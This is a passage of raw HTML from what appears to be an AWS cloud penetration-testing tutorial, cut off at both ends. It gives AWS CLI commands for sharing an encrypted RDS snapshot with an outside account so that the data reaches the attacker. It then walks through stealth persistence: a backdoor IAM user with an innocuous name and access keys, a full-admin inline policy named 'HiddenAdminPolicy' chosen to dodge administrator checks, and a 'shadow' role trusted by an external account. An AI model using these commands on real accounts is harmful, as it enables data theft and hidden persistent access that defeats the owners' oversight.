--key-id abcd1234-5678-efgh-ijkl-9876543210mn --grantee-principal arn:aws:iam::650*******:root --operations Decrypt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;This allows the 650 account to decrypt&lt;/strong&gt; &lt;code&gt;new-snapshot&lt;/code&gt;&lt;strong&gt;!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h5 id="share-the-new-snapshot"&gt;&lt;a href="#share-the-new-snapshot" class="header-anchor"&gt;&lt;/a&gt;Share the New Snapshot&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds modify-db-snapshot-attribute \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --db-snapshot-identifier new-snapshot \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --attribute-name restore \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --values-to-add 6502*******&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds modify-db-snapshot-attribute --db-snapshot-identifier new-snapshot1 --attribute-name restore --values-to-add 6502*******&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The last step is a little complicated, so let&amp;rsquo;s try it in practice. As shown below:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0050.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0051.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0052.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0053.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0054.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0055.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Generally, steps 1–4 are enough. Step 5 can be used when the target has particularly strict encryption, but it is fairly troublesome. Usually, steps 1–4 are already enough to transfer the snapshot to the attacker, so there is no need for the extra step. That is also why I put it fifth. If encryption prevents the snapshot from being shared, you can add step 5.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h3 id="creating-a-backdoor-user-stealthy-backdoor-technique"&gt;&lt;a href="#creating-a-backdoor-user-stealthy-backdoor-technique" class="header-anchor"&gt;&lt;/a&gt;Creating a Backdoor User (Stealthy Backdoor Technique)&#10;&lt;/h3&gt;&lt;p&gt;Create a hidden backdoor user in an AWS account to maintain persistent access. Even if an administrator spots an unusual login and deletes the regular IAM account, the attacker can still retain control of the AWS account.&lt;/p&gt;&#10;&lt;h4 id="steps-for-creating-a-backdoor-user"&gt;&lt;a href="#steps-for-creating-a-backdoor-user" class="header-anchor"&gt;&lt;/a&gt;Steps for Creating a Backdoor User&#10;&lt;/h4&gt;&lt;h5 id="1-create-a-discreet-iam-user"&gt;&lt;a href="#1-create-a-discreet-iam-user" class="header-anchor"&gt;&lt;/a&gt;1. Create a Discreet IAM User&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-user --user-name support-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Strategy&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Use AWS-style names&lt;/strong&gt; (such as &lt;code&gt;aws-support&lt;/code&gt; or &lt;code&gt;backup-user&lt;/code&gt;) to draw less attention from administrators.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Blend it into the existing user list&lt;/strong&gt; so administrators are less likely to notice it.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="2-create-an-access-key-for-the-user"&gt;&lt;a href="#2-create-an-access-key-for-the-user" class="header-anchor"&gt;&lt;/a&gt;2. Create an Access Key for the User&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-access-key --user-name support-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Example output&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AccessKey&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;UserName&amp;#34;: &amp;#34;support-user&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AccessKeyId&amp;#34;: &amp;#34;AKIAIOSFODNN7EXAMPLE&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SecretAccessKey&amp;#34;: &amp;#34;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Status&amp;#34;: &amp;#34;Active&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;The access key can be used for AWS CLI/API calls. Even if an administrator removes the user&amp;rsquo;s console login access, remote access still works!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="3-give-the-user-discreet-administrator-permissions"&gt;&lt;a href="#3-give-the-user-discreet-administrator-permissions" class="header-anchor"&gt;&lt;/a&gt;3. Give the User Discreet Administrator Permissions&#10;&lt;/h5&gt;&lt;p&gt;If the attacker attaches &lt;code&gt;AdministratorAccess&lt;/code&gt; directly, it is easy to spot:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam attach-user-policy \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --user-name support-user \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;A way around detection: use an inline policy!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam put-user-policy \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --user-name support-user \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --policy-name HiddenAdminPolicy \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --policy-document &amp;#39;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Statement&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Action&amp;#34;: &amp;#34;*&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Resource&amp;#34;: &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam put-user-policy --user-name support-user --policy-name HiddenAdminPolicy --policy-document &amp;#34;{\&amp;#34;Version\&amp;#34;: \&amp;#34;2012-10-17\&amp;#34;,\&amp;#34;Statement\&amp;#34;: [{\&amp;#34;Effect\&amp;#34;: \&amp;#34;Allow\&amp;#34;,\&amp;#34;Action\&amp;#34;: \&amp;#34;*\&amp;#34;,\&amp;#34;Resource\&amp;#34;: \&amp;#34;*\&amp;#34;}]}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Hide administrator permissions (without directly attaching AdministratorAccess)&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;The difference:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Policies attached with &lt;code&gt;attach-user-policy&lt;/code&gt; can be viewed directly through &lt;code&gt;list-attached-user-policies&lt;/code&gt;, making them easy to spot:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-attached-user-policies --user-name support-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;By contrast,&lt;/strong&gt; &lt;code&gt;put-user-policy&lt;/code&gt;** creates an inline policy, which does not appear in** &lt;code&gt;list-attached-user-policies&lt;/code&gt;** by default!**&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-user-policies --user-name support-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It only shows up after a deeper check with &lt;code&gt;get-user-policy&lt;/code&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam get-user-policy --user-name support-user --policy-name HiddenAdminPolicy&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0056.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;This means that even if an administrator runs&lt;/strong&gt; &lt;code&gt;list-attached-user-policies&lt;/code&gt;&lt;strong&gt;, they will not see anything unusual about the permissions&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h5 id="4-hide-the-user-further"&gt;&lt;a href="#4-hide-the-user-further" class="header-anchor"&gt;&lt;/a&gt;4. Hide the User Further&#10;&lt;/h5&gt;&lt;p&gt;Administrators usually review active IAM users regularly. An attacker can use &lt;code&gt;iam:UpdateLoginProfile&lt;/code&gt; to disable password-based login for the user, making it look like a &amp;ldquo;harmless&amp;rdquo; API account (if this returns an error, the user did not have login access in the first place, so there is nothing to disable):&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam update-login-profile --user-name support-user --password-reset-required&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;This user &lt;strong&gt;cannot log in through the AWS Management Console&lt;/strong&gt;, but &lt;strong&gt;can still use its access key through the API/CLI to control the AWS account!&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;If an administrator only checks users with web login access, they may not notice that this &amp;ldquo;backdoor user&amp;rdquo; still exists!&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="shadow-account-technique"&gt;&lt;a href="#shadow-account-technique" class="header-anchor"&gt;&lt;/a&gt;Shadow Account Technique&#10;&lt;/h4&gt;&lt;p&gt;The previous technique targeted users; this one targets IAM roles.&lt;/p&gt;&#10;&lt;p&gt;A &lt;strong&gt;shadow account (Shadow User)&lt;/strong&gt; is an &lt;strong&gt;even stealthier backdoor technique&lt;/strong&gt;. The key ideas are:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Create an IAM user that will not appear in&lt;/strong&gt; &lt;code&gt;list-users&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Use AWS resource trust relationships so the attacker can access AWS under that account&amp;rsquo;s identity&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;The basic idea behind creating a shadow account&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Create an IAM role and allow an external account to access it&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-role --role-name backup-support-role --assume-role-policy-document &amp;#39;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Statement&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Principal&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AWS&amp;#34;: &amp;#34;65025******&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; },&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Action&amp;#34;: &amp;#34;sts:AssumeRole&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam put-role-policy --role-name backup-support-role --policy-name ShadowUserMinimal --policy-document &amp;#39;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Statement&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Action&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:CreateUser&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:CreateAccessKey&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:ListUsers&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:GetUser&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:ListAttachedUserPolicies&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:ListUserPolicies&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:GetUserPolicy&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:AttachUserPolicy&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:PutUserPolicy&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;s3:ListAllMyBuckets&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;s3:ListBucket&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;s3:GetObject&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Resource&amp;#34;: &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 